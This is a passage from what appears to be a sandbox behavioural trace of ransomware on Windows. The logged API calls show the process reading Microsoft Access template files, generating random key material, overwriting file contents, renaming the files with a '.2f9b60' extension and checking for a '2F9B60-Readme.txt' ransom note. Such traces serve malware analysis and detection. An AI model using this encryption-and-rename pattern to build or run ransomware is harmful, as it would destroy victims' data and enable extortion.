(HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b859910 [0171.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859940 [0171.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ac0 [0171.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ac0) returned 1 [0171.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0171.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15290 [0171.009] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.009] WriteFile (in: hFile=0x1b54, lpBuffer=0x42c15290*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3986f790, lpOverlapped=0x0 | out: lpBuffer=0x42c15290*, lpNumberOfBytesWritten=0x3986f790*=0x10a, lpOverlapped=0x0) returned 1 [0201.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598b0 [0201.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8598b0) returned 1 [0201.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f8740 [0201.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598b0 [0201.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0201.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859be0) returned 1 [0201.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa7a0 [0201.524] sprintf (in: _Dest=0x1b7aa7a0, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.524] sprintf (in: _Dest=0x1b7aa7a2, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.524] sprintf (in: _Dest=0x1b7aa7a4, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7a6, _Format="%c%c" | out: _Dest="fd") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7a8, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7aa, _Format="%c%c" | out: _Dest="ec") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7ac, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7ae, _Format="%c%c" | out: _Dest="87") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7b0, _Format="%c%c" | out: _Dest="cc") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7b2, _Format="%c%c" | out: _Dest="47") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7b4, _Format="%c%c" | out: _Dest="d7") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7b6, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7b8, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7ba, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7bc, _Format="%c%c" | out: _Dest="45") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7be, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7c0, _Format="%c%c" | out: _Dest="5e") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7c2, _Format="%c%c" | out: _Dest="86") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7c4, _Format="%c%c" | out: _Dest="88") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7c6, _Format="%c%c" | out: _Dest="44") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7c8, _Format="%c%c" | out: _Dest="12") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7ca, _Format="%c%c" | out: _Dest="77") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7cc, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.525] sprintf (in: _Dest=0x1b7aa7ce, _Format="%c%c" | out: _Dest="b1") returned 2 [0201.525] RtlInitAnsiString (in: DestinationString=0x3986f808, SourceString="b9abc7fd9eecd987cc47d79a9ca0455d5e8688441277e1b1" | out: DestinationString="b9abc7fd9eecd987cc47d79a9ca0455d5e8688441277e1b1") [0201.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x3986f7d8, SourceString="b9abc7fd9eecd987cc47d79a9ca0455d5e8688441277e1b1", AllocateDestinationString=1 | out: DestinationString="b9abc7fd9eecd987cc47d79a9ca0455d5e8688441277e1b1") returned 0x0 [0201.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15450 [0201.526] wcscat (in: _Dest=0x431a7430, _Source="b9abc7fd9eec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\b9abc7fd9eec") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\b9abc7fd9eec" [0201.526] wcscat (in: _Dest=0x431a7430, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\b9abc7fd9eec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\b9abc7fd9eec.2f9b60" [0201.526] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\b9abc7fd9eec.2f9b60", NtPathName=0x3986f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\b9abc7fd9eec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4310b0e0 [0238.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b0e0) returned 1 [0238.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43209d40) returned 1 [0238.464] NtQueryInformationFile (in: FileHandle=0x1b54, IoStatusBlock=0x3986f818, FileInformation=0x3986f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3986f818, FileInformation=0x3986f828) returned 0x0 [0238.464] NtSetInformationFile (FileHandle=0x1b54, IoStatusBlock=0x3986f818, FileInformation=0x3986f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7430) returned 1 [0241.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15450) returned 1 [0241.997] FlushFileBuffers (hFile=0x1b54) returned 1 [0242.000] CloseHandle (hObject=0x1b54) returned 1 [0243.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144bf0 [0243.017] wcscpy (in: _Dest=0x43144bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0243.017] wcscat (in: _Dest=0x43144bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0243.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0243.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1690) returned 1 Thread: id = 2146 os_tid = 0x1510 [0140.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt")) returned 0x20 [0140.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt", dwFileAttributes=0x20) returned 1 [0140.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b44 [0140.702] GetFileSizeEx (in: hFile=0x1b44, lpFileSize=0x3a0afa40 | out: lpFileSize=0x3a0afa40*=50784) returned 1 [0140.702] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0xc65c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.702] ReadFile (in: hFile=0x1b44, lpBuffer=0x3a0af9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a0afa08, lpOverlapped=0x0 | out: lpBuffer=0x3a0af9c0*, lpNumberOfBytesRead=0x3a0afa08*=0x4, lpOverlapped=0x0) returned 1 [0140.704] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd840 [0140.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd8d0 [0140.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd900 [0140.705] NtQuerySystemTime (in: CurrentTime=0x3a0af900 | out: CurrentTime=0x3a0af900*=132462177459454000) returned 0x0 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x3eeb0f30 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x407cc6a3 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x3b2d88c0 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x674bf713 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x6ff32e3d [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x61463700 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x7c2d4e6d [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x54e42fa2 [0140.705] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x3d5514b8 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x36236ab3 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x2223b486 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x44d07c08 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x3e02e409 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x77ac41c9 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x7eb89db3 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x54843b44 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x41bd8bff [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x68fc5f80 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x15705c65 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x62c29bf0 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x18482de3 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x6de4cbfe [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x7e5854cd [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x11810ea [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x6ddb3f51 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x2d3c8629 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x3e671f20 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x658347b8 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x17dcfeca [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x5c2694de [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x666ddf3 [0140.706] RtlRandomEx (in: Seed=0x3a0af8f0 | out: Seed=0x3a0af8f0) returned 0x15d405f4 [0140.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd930 [0140.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd960 [0140.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd900) returned 1 [0140.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd840) returned 1 [0140.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42263100 [0140.722] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.722] ReadFile (in: hFile=0x1b44, lpBuffer=0x42263100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a0af960, lpOverlapped=0x0 | out: lpBuffer=0x42263100*, lpNumberOfBytesRead=0x3a0af960*=0x3c00, lpOverlapped=0x0) returned 1 [0140.724] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0140.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd840 [0140.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd840) returned 1 [0140.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42266d10 [0140.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd840 [0140.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd900 [0140.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd900) returned 1 [0140.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0140.725] WriteFile (in: hFile=0x1b44, lpBuffer=0x42266d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a0af960, lpOverlapped=0x0 | out: lpBuffer=0x42266d10*, lpNumberOfBytesWritten=0x3a0af960*=0x3c00, lpOverlapped=0x0) returned 1 [0161.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42266d10) returned 1 [0161.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42263100) returned 1 [0161.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3d70 [0161.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0161.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3da0 [0161.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3da0) returned 1 [0161.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3da0 [0161.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3dd0 [0161.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e00 [0161.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3e00) returned 1 [0161.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0161.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce14750 [0161.352] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.352] WriteFile (hFile=0x1b44, lpBuffer=0x1ce14750, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a0afa10, lpOverlapped=0x0) [0207.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e570 [0207.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e570) returned 1 [0207.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e570 [0207.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e540 [0207.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e540) returned 1 [0207.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.318] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="47") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="4e") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="92") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="56") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="a2") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="d2") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="9e") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="be") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="29") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="55") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="09") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="90") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="7c") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="18") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="79") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="43") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="d9") returned 2 [0207.318] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="3b") returned 2 [0207.319] RtlInitAnsiString (in: DestinationString=0x3a0afa88, SourceString="a1474e9256a2d2ea9eb5b9be29554b09907c1879d443d93b" | out: DestinationString="a1474e9256a2d2ea9eb5b9be29554b09907c1879d443d93b") [0207.319] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a0afa58, SourceString="a1474e9256a2d2ea9eb5b9be29554b09907c1879d443d93b", AllocateDestinationString=1 | out: DestinationString="a1474e9256a2d2ea9eb5b9be29554b09907c1879d443d93b") returned 0x0 [0207.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8f00 [0207.319] wcscat (in: _Dest=0x43144bf0, _Source="a1474e9256a2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\a1474e9256a2") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\a1474e9256a2" [0207.319] wcscat (in: _Dest=0x43144bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\a1474e9256a2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\a1474e9256a2.2f9b60" [0207.319] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\a1474e9256a2.2f9b60", NtPathName=0x3a0afa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\a1474e9256a2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x430fc990 [0237.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fc990) returned 1 [0237.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316c460) returned 1 [0237.979] NtQueryInformationFile (in: FileHandle=0x1b44, IoStatusBlock=0x3a0afa98, FileInformation=0x3a0afaa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a0afa98, FileInformation=0x3a0afaa8) returned 0x0 [0237.979] NtSetInformationFile (FileHandle=0x1b44, IoStatusBlock=0x3a0afa98, FileInformation=0x3a0afaa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0240.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e8f00) returned 1 [0240.300] FlushFileBuffers (hFile=0x1b44) returned 1 [0240.637] CloseHandle (hObject=0x1b44) returned 1 [0242.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11290 [0242.696] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.696] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0fb0) returned 1 Thread: id = 2147 os_tid = 0x1514 [0140.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt")) returned 0x20 [0140.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt", dwFileAttributes=0x20) returned 1 [0140.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fd0 [0140.726] GetFileSizeEx (in: hFile=0x1fd0, lpFileSize=0x3a17f6e0 | out: lpFileSize=0x3a17f6e0*=24690) returned 1 [0140.726] SetFilePointerEx (in: hFile=0x1fd0, liDistanceToMove=0x606e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.726] ReadFile (in: hFile=0x1fd0, lpBuffer=0x3a17f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a17f6a8, lpOverlapped=0x0 | out: lpBuffer=0x3a17f660*, lpNumberOfBytesRead=0x3a17f6a8*=0x4, lpOverlapped=0x0) returned 1 [0140.728] SetFilePointerEx (in: hFile=0x1fd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd900 [0140.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd990 [0140.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.729] NtQuerySystemTime (in: CurrentTime=0x3a17f5a0 | out: CurrentTime=0x3a17f5a0*=132462177459766000) returned 0x0 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x39d81589 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x70b88b2a [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x4d07fada [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: 